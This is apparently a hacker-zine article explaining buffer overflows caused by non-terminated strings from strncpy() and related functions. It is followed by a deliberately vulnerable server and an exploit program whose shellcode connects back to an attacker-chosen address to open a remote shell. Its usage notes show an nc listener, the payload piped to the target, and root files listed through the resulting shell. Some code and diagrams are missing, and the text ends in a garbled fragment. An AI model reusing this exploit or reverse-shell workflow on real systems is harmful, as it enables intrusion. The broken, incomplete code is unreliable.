Because Phrack needs another buffer overflow article, because most of those
pesky strcpy()'s have been replaced with strncpys()'s, and because chicks
dig shellcode, I present for your benefit yet another buffer overflow
technique. Like 'Frame Pointer Overwriting' from P55, this is not the most
common of problems, but it does exist, and it is exploitable.
This article details the hazards of non-terminated buffers (specifically
non-terminated strings), and their potential impact on the security of a
application. This issue is discussed from a variety potential situations,
culminating with an example exploit which abuses adjacent non-terminated
string buffers together to perform program redirection via a buffer overflow.
Like most bugs this is not an unknown problem, however judging from random
source browsing, it appears that this is not a widely understood issue.
Incidentally, the example code contains idiosyncratic architectural
references and man page excerpts as presented from the point of view of
FreeBSD running on the x86 architecture.
Due to popular pleading, the noun 'data' is treated as singular throughout
this document, even though that is wrong.
----| Rehash
If you already know how buffer overflows work (and if you have read any
issue of Phrack within the last two years, how could you not?), skip this
section.
When a program allocates a buffer, then copies arbitrary data into this
buffer, it must ensure that there is enough room for everything that is being
copied. If there is more data than there is allocated memory, all data could
still be copied, but past the end of the designated buffer and random, most
likely quite important, data will be overwritten. It's all really quite
rude. If the data being copied is supplied by the user, the user can do
malevolent things like change the value of variables, redirect program
execution, etc. A common overflow will look like this:
void func(char *userdata)
{
char buf[256];
...
strcpy(buf, userdata);
...
}
The programmer assumes that the data being copied will surely be less than 256
bytes and will fit snugly into the supplied buffer. Unfortunately, since the
data being copied is user-supplied, it could be damned near anything and of
any size. The function strcpy() will continue copying bytes from *userdata
until a NULL is found, so any data past 256 bytes will overflow.
So, in an effort to keep mean people from abusing their software, programmers
will make sure that they only copy as much data as there is buffer space.
To accomplish this task, they will normally do something to this effect:
void func(char *userdata)
{
char buf[256];
...
strncpy(buf, userdata, 256);
...
}
strncpy() will only copy as many bytes as are specified. So in the above,
the maximum amount of data that is ever copied is 256 bytes, and nothing is
overwritten (note that the above code snippet exemplifies the problem discussed
below).
For a far superior explanation of buffer overruns, program redirection,
and smashing the stack for fun and profit, consult the article of the
same name as the latter in P49-10.
----| Pith
The essence of the issue is that many functions that a programmer may take
to be safe and/or 'magic bullets' against buffer overflows do not
automatically terminate strings/buffers with a NULL. That in actuality,
the buffer size argument provided to these functions is an absolute size- not
the size of the string. To put a finer point on it, an excerpt from the
strncpy() man page:
The strncpy() copies not more than len characters into dst, appending
` ' characters if src is less than len characters long, and _not_+
terminating dst if src is more than len characters long.
...
+(underline present in the source)
To understand the ramifications of this, consider the case of two automatic
character arrays, allocated thusly:
char buf1[8];
char buf2[4];
The compiler is most likely going to place these two buffers _next_ to each
other on the stack. Now, consider the stack for the above:
We know from the man page that even though strncpy() is not going to copy
more than 4 bytes. But since the src string is longer than 4 bytes, it
will not null-terminate either. Thus, strlen(buf2) is now 11, even though
sizeof(buf2) is 4. This is not an overflow, as no data beyond the
boundaries of the allocated space have been overwritten. However, it does
establish a peculiar situation. For instance, the result of
printf("You entered: %sn", buf2);
would produce the following:
You entered: icebiceburn
Not exactly the intent.
----| Apparition
This problem surfaces in the real world in seemingly benign and arcane
ways. The following is from syslogd.c on FreeBSD 3.2-RELEASE:
/*
* Validate that the remote peer has permission to log to us.
*/
int
validate(sin, hname)
struct sockaddr_in *sin;
const char *hname;
{
int i;
size_t l1, l2;
char *cp, name[MAXHOSTNAMELEN];
struct allowedpeer *ap;
if (NumAllowed == 0)
/* traditional behaviour, allow everything */
return 1;
strncpy(name, hname, sizeof name);
if (strchr(name, '.') == NULL) {
strncat(name, ".", sizeof name - strlen(name) - 1);
strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
}
...
}
Suppose that hname is at least MAXHOSTNAMELEN bytes long and does not contain
a '.'. This means that the calculation for the length argument to strncat will
expand to:
sizeof name == MAXNAMELEN
strlen(name) >= MAXNAMELEN
Thus, length will be < 0
Well, since the length parameter to strncat is of type size_t, which is
unsigned, strncat will actually be willing to append _way_ to many bytes.
Thus, all of LocalDomain will be appended to name (which is already full),
an overflow will occur and syslogd will seg fault when validate() returns.
Incidentally, unless LocalDomain for the host is an appropriate offset into
the stack, this example is exploitable only as a way to kill syslog
(incidentally, 0xbfbfd001.com is available).
----| Pith + Apparition = Opportunity
Although this type of overflow may be exploited in a variety of manners (and
indeed, it will manifest itself in a variety of ways), the sexiest and easiest
to understand is program redirection. Please note that although the example
situations presented are exorbitantly contrived, that similar conditions exist
in sundry software currently in use all over the world.
Now, let us address a situation where the user has control over the contents of
two adjacent buffers. Consider the following snippet:
int
main(int argc, char **argv)
{
char buf1[1024];
char buf2[256];
A stack diagram would be really large and redundant, so one will not be making
an appearance here, but it should be fairly clear what will happen. The
programmer assumes that due to the liberal use of strncpy() in main(), that
the data is clean when it reaches print_error(). Thus, it is assumed that
sprintf() may be called without incident. Unfortunately, since p points to
buf2, and buf2 is not properly terminated, sprintf() will actually continue
happily copying until it reaches a NULL somewhere after the end of buf1.
Oh shit.
----| Hexploitation
Exploitation (for the purpose of program redirection) in this scenario is
slightly different than it is in the case of a traditional single-buffer
overrun. First, a little rehash about exploiting traditional buffer overflows.
Assuming that we are overflowing a single buffer of 256 bytes, our payload
would generally look something like this (diagrams obviously not to
scale):
All that we do is pass enough data so that when the overflow occurs, the
offset to the our shellcode (an address somewhere on the stack) overwrites
the saved instruction pointer. Thus, when the vulnerable function returns,
program execution is redirected to our code.
Now assume that we want to overflow another 256-byte buffer, say the one
in print_error() in the code snippet from the last section. To accomplish
our malevolent ends however, we will have to use buf1 and buf2 in tandem.
All we have to do is fill all of buf2 with our shellcode and NOP's, then
use the beginning of buf1 for our offset.
Thus, after the strncpy()'s, buf1 will look like this:
This arrangement is required due to the way in which the buffers are arranged
on the stack. What is supplied as argv[1] (the data that is copied into
buf1) will be located higher in memory than the data we supply as argv[2]
(which is copied into buf2). So technically, we supply the offset at the
beginning of the exploit string, rather than at the end. Then, when
print_error() is called, the stack in main(), will look like this:
Which resembles greatly the traditional payload described above.
When print_error() is called, it is passed a pointer to the beginning of buf2,
or, the top of the stack in main(). Thus, when sprintf() is called, an overrun
occurs, redirecting program execution to our shellcode, and all is lost.
Note that alignment here is key, since if the compiler pads one of the buffers,
we may run into a problem. Which buffer is padded and the contents of the
pad bytes both play a role in the success of exploitation.
If buf2 is padded, and the padded bytes contain NULL's, no overflow (or, at
least, no usable overflow) will occur. If the pad bytes are _not_ null, then
as long as the pad bytes end on a double-word boundary (which they almost
certainly will), we can still successfully overwrite the saved instruction
pointer.
If buf1 is padded, whether or not the pad bytes contain NULL's is really of no
consequence, as they will fall after our shellcode anyway.
----| Denouement
As with all bugs, the fault here is not of the library functions, or of the C
programming language, or operating systems not marking data as non-executable,
but that programmers do not fully realize the ramifications of what they
are doing. Before handling any potentially hazardous materials (arbitrary
data), special precautions should be made. Man pages should be read. Buffers
should be terminated. Return values should be checked. All it takes is a
'+1' and an initialization. How hard is this:
char buf[MAXSIZE + 1];
FILE *fd;
size_t len;
...
memset(buf, 0, MAXSIZE + 1);
len = fread((void *)buf, 1, MAXSIZE, fd);
/*
* This won't actually happen, but it is supplied to
* prove a point
*/
if(len > MAXSIZE){
syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %dn",
getpid(), getuid());
exit(1);
}
...
Okay, so the above is a bit silly, but the hopefully the intent is
clear.
Incidentally, the following also do not terminate on behalf of lazy
programmers:
fread()
the read() family [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
These functions are kind enough to null-terminate for you:
snprintf()
fgets()
Now, go break something, or better yet, go fix something.
----| Example
Attached is an example exploit for an example vulnerable program. The
vulnerable program is pathetically contrived, and serves no purpose other
than:
a) Offering an example of explaining the considerations of
exploiting this type of buffer overrun.
b) Offering a viable opportunity to pimp some new shellcode.
The decision not to present an exploit to real software was due to:
a) The fact that publishing 0-day in Phrack is rude.
b) If I didn't report the bugs I've found I would be a prick.
c) The fact that any bugs that I have found should already be patched
by the time this comes out.
d) The presented example is easier to follow than a real-world app.
e) The point of this article is to inform, not help you tag
www.meaninglessdomain.com.
But hey, you're getting free shellcode, so reading this wasn't an entire
waste of time.
The exploit itself will throw a shell to any system and port you deem
necessary. I think that's useful. Read the comments in boobies.c for
instructions on how to use.
The shellcode is i386-FreeBSD specific, so in order to play with this the
vulnerable proggy will need to be run on an x86 FreeBSD machine. The exploit
should compile and run on anything -- though you may have to tweak the
alignment for your particular architecture.
Incidentally, x86 Linux and SPARC Solaris versions of the shellcode are
available at www.vicar.org/~twitch/projects/llehs.
----| The code
<++> p56/Boobies/vuln.c !66dd8731
/*
* vuln.c
*
* 01/09/1999
* <twitch@vicar.org>
*
* Example to display how non-terminated strings in adjacent memory
* spaces may be exploited.
*
* Give it a port to listen on if you wish as argv[argc - 1]
* (the default is 6543).
*
* The code is sloppy because I really didn't care.
* Pretend it's a game on a Happy Meal(tm) box- how many other exploitable
* conditions can you find?
*
* to compile-
* [twitch@lupus]$ gcc -Wall -o vuln vuln.c
*/
if(!(strlen(myname))){
fprintf(stderr, "I have no idea what my name is, bailingn");
return(1);
}
h = gethostbyname(myname);
if(!h){
fprintf(stderr, "I couldn't resolve my own name, bailingn");
return(1);
}
return(do_stuff(h->h_addr, h->h_length, port));
}
/*
* do_stuff()
* Listen on a socket and when we get a connection, had it
* off to be_vulnerable().
*/
int
do_stuff(char *myaddr, int addrlen, u_short port)
{
struct sockaddr_in sin, fin;
int s, r, alen;
char *p;
memcpy(&sin.sin_addr.s_addr, myaddr, addrlen);
p = inet_ntoa(sin.sin_addr);
if(sin.sin_addr.s_addr == -1L){
fprintf(stderr, "inet_addr returned the broadcast, bailingn");
return(1);
}
/*
* be_vulnerable()
* We grab a chunk o' data from the wire and deal with it
* in an irresponsible manner.
*/
int
be_vulnerable(int s)
{
int r;
char buf[1024], buf2[256];
memset(buf, 0, 1024);
memset(buf2, 0, 256);
r = read(s, (void *)buf, 1024);
r = read(s, (void *)buf2, 256);
oopsy(buf2);
close(s);
return(0);
}
/*
* oopsy()
* Copy data into local storage to do something with it.
* I'm lazy so all this does is cause the overflow.
*/
void
oopsy(char *p)
{
char mybuf[256];
fprintf(stderr, "Oh shit, p is %d bytes long.n", strlen(p));
strncpy(mybuf, p, strlen(p));
}
<-->
<++> p56/Boobies/boobies.c !f264004c
/*
* boobies.c
*
* 01/09/1999
* <twitch@vicar.org>
*
* Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled
* three times) Irish Whiskey, and that one SCO guy's beautiful lady.
*
*
* Example exploit for vuln.c to display how non-terminated strings
* in adjacent memory can cause real troubles.
*
* This shellcode will establish a TCP connection to any port and
* address you deem fit (see the shellcode for where/how to do this)
* and drop a shell. You won't get a prompt, but otherwise, it is a
* full shell with the privleges of whatever the exploited program had.
*
* This is the x86 FreeBSD version- Linux and SPARC Solaris versions,
* as well as full assembly listings are available at
* www.vicar.org/~twitch/projects/llehs
*
* To use this exploit, run the silly little vulnerability demo
* program on some system (in this example it's running on a system
* called lupus) thusly:
*
* [twitch@lupus]$ ./vuln
* Accepting connections on port 6543...
*
* Then do this on the attacking system (or wherever you are directing
* the shell):
*
* [twitch@pornstar]$ nc -n -v -l -p 1234
* listening on [any] 1234 ...
*
* [ from another terminal/window ]
*
* [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543
* lupus [192.168.1.6] 6543 (?) open
*
* [ back to the first terminal/window ]
*
* connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234
* uname -n
* lupus.vicar.org
* ls -alF /root/
* total 14
* drwxr-x--- 3 root wheel 512 Dec 8 20:44 ./
* drwxr-xr-x 19 root wheel 512 Dec 10 19:13 ../
* -rw------- 1 root wheel 4830 Jan 4 16:15 .bash_history
* -rw------- 2 root wheel 383 May 17 1999 .cshrc
* -rw------- 1 root wheel 1354 Jan 5 10:33 .history
* -rw------- 1 root wheel 124 May 17 1999 .klogin
* -rw------- 1 root wheel 491 Dec 4 19:59 .login
* -rw------- 2 root wheel 235 May 17 1999 .profile
* drwxr-x--- 2 root wheel 512 Dec 8 20:44 .ssh/
* ^C
* [twitch@pornstar]$
*
* You will need to supply an offset of around -50 if
* vuln is running on a port besides the default.
*
* The exploit has a few options that you can read about by doing:
* [twitch@pornstar]$ ./boobies -h
* usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment]
* -o Nudge the offset offset_nudge bytes.
* -p Port to which the target should connect.
* -a Address to which the target should connect.
* (Must be an IP address because I'm lazy.)
* -A Nudge the alignment.
* -v Be verbose about what we're doing.
* -h The secret to life.
*
* If you compile this on non-x86 architectures, you will prolly have to
* play with the alignment a bit.
*
* to compile-
* [twitch@pornstar]$ gcc -o boobies -Wall boobies.c
* Be alert, look alive, and act like you know.
*/
/*
* This offset seems to work if you are running the exploit and the
* vulnerable proggy on the same machine, with vuln listening on its
* default port. If vuln is listening on a user-supplied port, this
* needs to be around 0xbfbfd0fc. YMMV.
*/
#define OFFSET 0xbfbfd108
#define NOP 0x90
#define BUFSIZE 1300
#define SHELLSIZE 143
#define PAD 32
#define ALIGNIT 0
/*
* Offset into the shellcode for the port
*/
#define SCPORTOFF 22
/*
* Offset into the shellcode for the address
*/
#define SCADDROFF 33
void
usage(char *proggy)
{
fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ",
proggy);
fprintf(stderr, "[-A alignment]n");
fprintf(stderr, "t-ottNudge the offset offset_nudge bytes.n");
fprintf(stderr, "t-pttPort to which the target should connect.n");
fprintf(stderr, "t-attAddress to which the target should connect.n");
fprintf(stderr, "ttt(Must be an IP address because I'm lazy.)n");
fprintf(stderr, "t-AttNudge the alignment.n");
fprintf(stderr, "t-vttBe verbose about what we're doing.n");
fprintf(stderr, "t-httThe secret to life.n");
fprintf(stderr, "n");
exit(1);
}
void
main(int argc, char **argv)
{
char b00m[BUFSIZE], *p, c;
char *port, *addr;
u_short portd;
u_long addrd;
extern char *optarg;
int i, nudge = 0, o = OFFSET, align = 0;
int verb = 0;
port = &(llehs[SCPORTOFF]);
addr = &(llehs[SCADDROFF]);
while((c = getopt(argc, argv, "oa:A:vh")) != -1){
switch(c){
/*
* Nudge to the offset
*/
case 'o':
nudge = strtoul(optarg, NULL, 10);
break;
/*
* Port to which we connect
*/
case 'p':
portd = strtoul(optarg, NULL, 10);
if(verb)
fprintf(stderr, "Shell coming back on port %dn", portd);
portd = htons(portd);
portd ^= 0xffff;
if(verb)
fprintf(stderr, " (0x%x)n", portd);
memcpy((void *)port, (void *)&portd, sizeof(u_short));
break;
/*
* Address to which we connect
*/
case 'a':
addrd = inet_addr(optarg);
if(addrd == -1L){
fprintf(stderr, "Bad address '%s'.n", optarg);
exit(1);
}
addrd ^= 0xffffffff;
memcpy((void *)addr, (void *)&addrd, sizeof(u_long));
if(verb){
fprintf(stderr, "Shell is being sent to %s.n", optarg);
fprintf(stderr, " (0x%lx)n", addrd);
}
break;
/*
* Alignment (should only be necessary on architectures
* other than x86)
*/
case 'A':
align = strtoul(optarg, NULL, 10);
break;
case 'v':
verb++;
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
a:A:vh")) != -1){
Vova
